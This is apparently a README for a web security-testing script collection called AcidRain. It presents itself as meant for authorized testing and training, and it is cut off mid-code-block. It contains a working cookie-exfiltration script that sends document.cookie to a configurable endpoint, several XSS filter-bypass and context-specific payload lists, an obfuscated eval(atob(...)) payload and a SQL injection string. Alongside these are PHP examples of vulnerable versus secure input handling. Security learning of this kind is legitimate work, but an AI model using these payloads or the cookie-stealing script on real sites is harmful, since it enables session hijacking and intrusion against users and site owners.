acidrain-security-testing-scripts

# AcidRain Security Testing Scripts > Skill by [ara.so](https://ara.so) — Security Skills collection. AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing, hands-on learning, and controlled research. The project provides browser-side and server-side material organized for security researchers and developers conducting legitimate vulnerability assessments. ## Installation Clone the repository and navigate to the working directory: ```bash git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git cd acidrain-security-script-hub ``` The repository structure typically includes: ```text acidrain-security-script-hub/ ├── scripts/ │ ├── javascript/ # Client-side XSS and browser scripts │ ├── php/ # Server-side PHP examples │ └── xss/ # XSS payloads and injection samples ├── configs/ # Configuration files ├── examples/ # Demonstration code ├── docs/ # Documentation ├── LICENSE └── README.md ``` ## Project Purpose and Scope AcidRain provides: - **XSS Analysis Resources**: Payloads, vectors, and test cases for cross-site scripting research - **JavaScript Utilities**: Client-side scripts for browser-based security exercises - **PHP Resources**: Server-side examples for testing input validation and output encoding - **Injection Testing Samples**: Code demonstrating various injection techniques - **Research Snippets**: Compact, modifiable code fragments for controlled testing **Critical Authorization Requirement**: Only use these scripts against: - Applications you own or have explicit permission to test - Deliberately vulnerable training environments (e.g., DVWA, WebGoat) - Systems covered by a defined security testing agreement ## JavaScript XSS Resources ### Basic XSS Payload Structure JavaScript payloads typically follow patterns for testing input reflection and execution context: ```javascript // Simple alert-based XSS test <script>alert('XSS')</script> // Event handler injection <img src=x onerror=alert('XSS')> // DOM-based XSS <img src=x onerror="eval(atob('YWxlcnQoJ1hTUycp'))"> // URL-based payload javascript:alert('XSS') ``` ### Advanced JavaScript Testing Utilities ```javascript // Cookie exfiltration test (for authorized testing only) // scripts/javascript/cookie-exfil-test.js (function() { const cookies = document.cookie; const testEndpoint = process.env.TEST_ENDPOINT; // Use environment variable // Log locally for educational purposes console.log('Cookie Test:', cookies); // In authorized testing, send to your controlled server if (testEndpoint) { fetch(testEndpoint, { method: 'POST', body: JSON.stringify({ cookies: cookies }), headers: { 'Content-Type': 'application/json' } }); } })(); ``` ### DOM Manipulation Analysis ```javascript // scripts/javascript/dom-xss-scanner.js /** * Identify potential DOM XSS sinks in authorized testing */ function scanDOMSinks() { const dangerousSinks = [ 'innerHTML', 'outerHTML', 'document.write', 'eval', 'setTimeout', 'setInterval' ]; const results = []; // Scan for dangerous DOM operations dangerousSinks.forEach(sink => { const elements = document.querySelectorAll('*'); elements.forEach(el => { if (el[sink] && typeof el[sink] !== 'function') { results.push({ sink: sink, element: el.tagName, content: el[sink] }); } }); }); return results; } // Usage in browser console during authorized testing console.log(scanDOMSinks()); ``` ### Input Reflection Detector ```javascript // scripts/javascript/reflection-detector.js /** * Test if user input is reflected in page output */ function testReflection(payload) { const testPayload = payload || `ACIDRAIN_TEST_${Date.now()}`; const url = new URL(window.location); // Test common reflection points const reflectionPoints = [ document.body.innerHTML, document.title, document.documentElement.outerHTML ]; const reflected = reflectionPoints.filter(point => point.includes(testPayload) ); return { payload: testPayload, reflected: reflected.length > 0, locations: reflected.length }; } // Test with URL parameter const urlParams = new URLSearchParams(window.location.search); if (urlParams.has('test')) { console.log(testReflection(urlParams.get('test'))); } ``` ## PHP Server-Side Resources ### Input Validation Testing ```php <?php // scripts/php/input-validation-test.php /** * Demonstrate vulnerable vs. secure input handling * For educational comparison in controlled environments */ // VULNERABLE EXAMPLE (for demonstration only) function vulnerableEcho($input) { echo "Vulnerable output: " . $input; } // SECURE EXAMPLE (recommended approach) function secureEcho($input) { echo "Secure output: " . htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } // Test both approaches $testInput = $_GET['input'] ?? '<script>alert("XSS")</script>'; echo "<h3>Vulnerable Version:</h3>"; // vulnerableEcho($testInput); // Commented for safety echo "<h3>Secure Version:</h3>"; secureEcho($testInput); ?> ``` ### SQL Injection Testing Framework ```php <?php // scripts/php/sql-injection-test.php /** * Demonstrate SQL injection vulnerabilities for authorized testing * Requires: PDO-enabled PHP with test database */ // Database connection using environment variables $dbHost = getenv('DB_HOST') ?: 'localhost'; $dbName = getenv('DB_NAME') ?: 'test_db'; $dbUser = getenv('DB_USER') ?: 'test_user'; $dbPass = getenv('DB_PASS') ?: ''; try { $pdo = new PDO("mysql:host=$dbHost;dbname=$dbName", $dbUser, $dbPass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { die("Connection failed: " . $e->getMessage()); } // VULNERABLE QUERY (demonstration only) function vulnerableQuery($pdo, $username) { $query = "SELECT * FROM users WHERE username = '$username'"; // DO NOT USE IN PRODUCTION // return $pdo->query($query); echo "Vulnerable Query: $query\n"; } // SECURE QUERY (recommended approach) function secureQuery($pdo, $username) { $query = "SELECT * FROM users WHERE username = :username"; $stmt = $pdo->prepare($query); $stmt->bindParam(':username', $username, PDO::PARAM_STR); $stmt->execute(); return $stmt; } // Test input $testUsername = $_GET['username'] ?? "admin' OR '1'='1"; echo "Testing with input: $testUsername\n\n"; vulnerableQuery($pdo, $testUsername); $result = secureQuery($pdo, $testUsername); ?> ``` ### File Upload Security Testing ```php <?php // scripts/php/file-upload-test.php /** * Test file upload security controls */ function analyzeUploadSecurity($file) { $results = []; // Check file extension $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif']; $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $results['extension_check'] = in_array($fileExtension, $allowedExtensions); // Check MIME type $allowedMimes = ['image/jpeg', 'image/png', 'image/gif']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); $results['mime_check'] = in_array($mimeType, $allowedMimes); // Check file size $maxSize = 2 * 1024 * 1024; // 2MB $results['size_check'] = $file['size'] <= $maxSize; // Check for double extensions $results['double_extension'] = strpos($file['name'], '.') !== strrpos($file['name'], '.'); return $results; } // Usage if ($_FILES['upload']) { $analysis = analyzeUploadSecurity($_FILES['upload']); print_r($analysis); } ?> ``` ## XSS Payload Collections ### Bypass Techniques ```javascript // scripts/xss/bypass-techniques.js // Filter bypass examples for authorized testing const xssPayloads = { // Case variation caseVariation: '<ScRiPt>alert("XSS")</sCrIpT>', // Encoding variations htmlEntity: '&lt;script&gt;alert("XSS")&lt;/script&gt;', urlEncoded: '%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E', doubleEncoded: '%253Cscript%253Ealert(%2522XSS%2522)%253C%252Fscript%253E', // Null byte injection nullByte: '<script\x00>alert("XSS")</script>', // Comment-based commentBreak: '<!--><script>alert("XSS")</script>', // Event handlers eventHandlers: [ '<img src=x onerror=alert("XSS")>', '<body onload=alert("XSS")>', '<svg onload=alert("XSS")>', '<input onfocus=alert("XSS") autofocus>', '<select onfocus=alert("XSS") autofocus>' ], // Protocol handlers protocols: [ '<a href="javascript:alert(\'XSS\')">Click</a>', '<a href="data:text/html,<script>alert(\'XSS\')</script>">Click</a>', '<a href="vbscript:msgbox(\'XSS\')">Click</a>' ], // DOM-based domBased: 'window.location.hash.slice(1)', // Template injection templateInjection: '{{7*7}}[[7*7]]' }; // Export for testing framework if (typeof module !== 'undefined' && module.exports) { module.exports = xssPayloads; } ``` ### Context-Specific Payloads ```javascript // scripts/xss/context-payloads.js const contextPayloads = { // HTML context htmlContext: [ '<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '<svg/onload=alert(1)>' ], // Attribute context attributeContext: [ '" onmouseover="alert(1)', '\' onmouseover=\'alert(1)', '"><script>alert(1)</script>' ], // JavaScript context jsContext: [ '\'-alert(1)-\'', '\";alert(1);//', '</script><script>alert(1)</script>' ], // URL context urlContext: [ 'javascript:alert(1)', 'data:text/html,<script>alert(1)</script>', 'http://example.com?param=<script>alert(1)</script>' ], // CSS context cssContext: [ 'expression(alert(1))', '</style><script>alert(1)</script>', 'background:url(javascript:alert(1))' ] }; ``` ## Configuration and Environment Setup ### Environment Variables Create a `.env` file for configuration (never commit this file): ```bash